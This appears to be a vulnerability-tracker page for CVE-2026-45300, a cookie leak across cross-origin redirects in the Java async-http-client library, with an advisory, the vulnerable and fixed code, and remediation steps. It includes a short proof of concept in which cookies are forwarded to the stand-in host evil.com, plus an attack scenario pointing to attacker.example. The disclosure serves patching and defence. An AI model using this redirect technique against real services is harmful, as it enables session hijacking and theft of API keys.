Skip to main content

async-http-client CVE-2026-45300

| EUVDEUVD-2026-34910 HIGH
Information Exposure (CWE-200)
2026-05-18 https://github.com/AsyncHttpClient/async-http-client GHSA-fmxf-pm6p-7xgm
7.4
CVSS 3.1 · Vendor: https://github.com/AsyncHttpClient/async-http-client
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker stages malicious or open-redirect URL
  2. Delivery
    Victim service issues AHC request with Cookie header to trusted origin
  3. Exploit
    Trusted endpoint returns 302 to attacker origin
  4. Execution
    AHC strips Authorization but forwards Cookie across boundary
  5. Persist
    Attacker captures session/CSRF/API cookies
  6. Impact
    Attacker replays cookies to impersonate victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) the calling application to use async-http-client 2.0.0-2.14.x or 3.0.0.Beta1-3.0.9, (2) outbound requests that carry a Cookie header - either set explicitly by the caller or applied via configuration - to a URL the attacker can influence, (3) automatic redirect following enabled (AHC default), and (4) the attacker to control or coerce a 30x response that points to a different origin OR an HTTPS→HTTP downgrade target. The CVSS UI:R reflects this dependency on the client opting to follow the redirect chain; no authentication is required of the attacker (PR:N), but pure server-to-server clients that never attach Cookie headers (relying solely on AHC's URI-scoped CookieStore) are not exposed, because the CookieStore is keyed by destination URI and will not send first-origin cookies to a different origin.

Impact

The CVSS:3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N yields 7.4 (High) and is internally consistent: network-reachable, no privileges, but it requires user interaction (UI:R) in the form of the client following an attacker-influenced redirect, with confidentiality-only impact and changed scope reflecting that cookies belonging to one origin leak to another. EPSS and CISA KEV data were not provided, so real-world exploitation likelihood cannot be quantified from the input; treat exploitation probability as unknown rather than low. Realistic risk is meaningful for any backend service that uses AHC to call third-party or user-supplied URLs (webhooks, link previews, federation, SSRF-adjacent integrations) and forwards bearer-style cookies; risk is materially lower for clients that only call a single fixed origin or do not attach Cookie headers. A working PoC is in the advisory and the fix commit is public, so reverse-engineering an exploit is trivial - prioritize patching for services that proxy outbound HTTP on behalf of users.

Exploit ScenarioDerived

An attacker controls or compromises an endpoint that a backend service calls via async-http-client - for example a webhook URL, a link-unfurl fetcher, or an open-redirect on a trusted partner API - and returns a 302 to https://attacker.example. Because the client adds a static Cookie header (session, CSRF, or API key) to outbound requests and AHC fails to strip Cookie on the cross-origin hop, the attacker receives those cookies and replays them to impersonate the calling service or its user. The published PoC in GHSA-fmxf-pm6p-7xgm demonstrates the leak in a few lines of Java.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 18, 2026

Sensitive cookie disclosure in async-http-client (AHC) Java library allows remote attackers to harvest session cookies, CSRF tokens, and API keys by inducing an HTTP redirect across an origin or scheme-downgrade boundary. The Redirect30xInterceptor correctly strips Authorization and Proxy-Authorization headers when crossing security boundaries but fails to strip the Cookie header, leaking it to the redirect target. A proof-of-concept is published in the GHSA advisory; no public exploit identified at time of analysis in the wild and the issue is not in CISA KEV.

RemediationAI

Vendor-released patch: upgrade to async-http-client 3.0.10 on the 3.x line or 2.15.0 on the 2.x line, both of which include commit 3b0e3e9e that adds COOKIE to the headers stripped on the security-boundary branch (https://github.com/AsyncHttpClient/async-http-client/commit/3b0e3e9e). The fix preserves legitimate cross-origin sessions because the URI-scoped CookieStore re-adds cookies whose domain genuinely matches the new target. If immediate upgrade is not possible, compensating controls include disabling automatic redirect following on AHC clients (setFollowRedirect(false)) and handling redirects manually after origin validation, refusing to attach static Cookie headers to outbound requests in favor of the built-in CookieStore (which is URI-scoped and unaffected), or restricting outbound destinations via an egress allowlist so untrusted redirect targets are unreachable. Disabling redirects breaks legitimate 30x flows such as OAuth and CDN handoffs, so test before deploying.

Affected VersionsENISA

async-http-client 2.0.0, < 2.15.0
async-http-client 3.0.0.Beta1, < 3.0.10

Affected Packages

maven org.asynchttpclient:async-http-client fix: 2.15.0, 3.0.10
euvd async_http_client_2_0_0 fix: 2.15.0
euvd async_http_client_3_0_0_beta1 fix: 3.0.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

async-http-client is a widely used Netty-based asynchronous HTTP client for the JVM, distributed as the Maven coordinate org.asynchttpclient:async-http-client. The defect lives in client/src/main/java/org/asynchttpclient/netty/handler/intercept/Redirect30xInterceptor.java, where propagatedHeaders() handles header forwarding on 30x responses. The bug is a textbook CWE-200 (Exposure of Sensitive Information) caused by an incomplete denylist: the stripAuth branch removes AUTHORIZATION and PROXY_AUTHORIZATION but omits the COOKIE header, so cookies set on the original (trusted) origin propagate to a different-origin or HTTP-downgraded redirect target. The companion RedirectCredentialSecurityTest only asserted Authorization stripping and had no Cookie coverage, which is how the regression shipped.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/AsyncHttpClient/async-http-client) PRIMARY 7.4 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Red Hat 7.4 HIGH

Primary rating from Vendor (https://github.com/AsyncHttpClient/async-http-client).

CVSS VectorVendor: https://github.com/AsyncHttpClient/async-http-client

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

async-http-client leaks Cookie headers to cross-origin redirect targets. When following a redirect across a security boundary (different origin, or HTTPS→HTTP downgrade), the propagatedHeaders() method in Redirect30xInterceptor.java strips Authorization and Proxy-Authorization headers but does not strip Cookie, so session cookies and other sensitive cookie values are forwarded to the redirect target - which may be attacker-controlled.

Details

The vulnerability is in client/src/main/java/org/asynchttpclient/netty/handler/intercept/Redirect30xInterceptor.java.

The caller computes stripAuth on each redirect:

java
boolean sameBase    = request.getUri().isSameBase(newUri);
boolean stripAuth   = !sameBase || schemeDowngrade || stripAuthorizationOnRedirect;
// ...
requestBuilder.setHeaders(propagatedHeaders(request, realm, keepBody, stripAuth));

stripAuth is true whenever the redirect crosses an origin, downgrades the scheme, or the caller opted in via AsyncHttpClientConfig#isStripAuthorizationOnRedirect().

In the vulnerable version, propagatedHeaders() only removes Authorization and Proxy-Authorization in that branch - Cookie is left untouched:

java
private static HttpHeaders propagatedHeaders(Request request, Realm realm, boolean keepBody, boolean stripAuthorization) {
    HttpHeaders headers = request.getHeaders()
            .remove(HOST)
            .remove(CONTENT_LENGTH);

    if (!keepBody) {
        headers.remove(CONTENT_TYPE);
    }

    if (stripAuthorization || (realm != null && (realm.getScheme() == AuthScheme.NTLM
            || realm.getScheme() == AuthScheme.SCRAM_SHA_256))) {
        headers.remove(AUTHORIZATION)
                .remove(PROXY_AUTHORIZATION);
        // BUG: COOKIE is not removed here, so cookies leak across the security boundary.
    }
    return headers;
}

The companion test class RedirectCredentialSecurityTest covers Authorization / Proxy-Authorization stripping on cross-origin redirects and scheme downgrades, but has no coverage for Cookie, which is why the regression went unnoticed.

Proof of concept

java
import org.asynchttpclient.*;

AsyncHttpClient client = asyncHttpClient();

// trusted-api.com responds 302 -> https://evil.com
Request request = new RequestBuilder("GET")
        .setUrl("https://trusted-api.com/endpoint")
        .setHeader("Cookie", "session=abc123; csrf=xyz789; api_key=secret")
        .setHeader("Authorization", "Bearer token123")
        .build();

client.executeRequest(request).get();

// Request seen by evil.com after the redirect:
//   Authorization: <stripped>
//   Cookie:        session=abc123; csrf=xyz789; api_key=secret   <-- leaked

Impact

  • Session hijacking - leaked session cookies allow impersonation.
  • CSRF token theft - CSRF tokens carried in cookies are disclosed.
  • API key theft - API keys stored in cookies are disclosed.
  • Privacy - tracking identifiers leak to third-party origins.

Realistic attack paths:

  • Open-redirect in a trusted API endpoint.
  • Compromised CDN or API gateway injecting redirects.
  • MITM on a plaintext hop in the redirect chain.

Fix

Add COOKIE to the headers removed alongside AUTHORIZATION / PROXY_AUTHORIZATION on the security-boundary branch:

java
if (stripAuthorization) {
    headers.remove(AUTHORIZATION)
            .remove(PROXY_AUTHORIZATION)
            .remove(COOKIE);
} else if (realm != null && (realm.getScheme() == AuthScheme.NTLM
        || realm.getScheme() == AuthScheme.SCRAM_SHA_256)) {
    headers.remove(AUTHORIZATION)
            .remove(PROXY_AUTHORIZATION);
}

Note that the URI-scoped CookieStore will re-add any cookies that legitimately match the new target after propagatedHeaders returns, so legitimate cross-origin sessions tracked by the client are not broken.

Fixed in 3.0.10 and 2.15.0 by commit 3b0e3e9e.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 5 maven packages depend on org.asynchttpclient:async-http-client (1 direct, 4 indirect)

Ecosystem-wide dependent count for version 3.0.0.Beta1.

Executive ViewAI

Why It Matters

The async-http-client Java library is vulnerable to credential disclosure attacks when processing HTTP redirects. Publicly available exploit code exists; attackers can harvest session cookies, CSRF tokens, and API keys from applications using this library. Organizations must patch immediately to prevent unauthorized session hijacking and credential theft.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

37
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy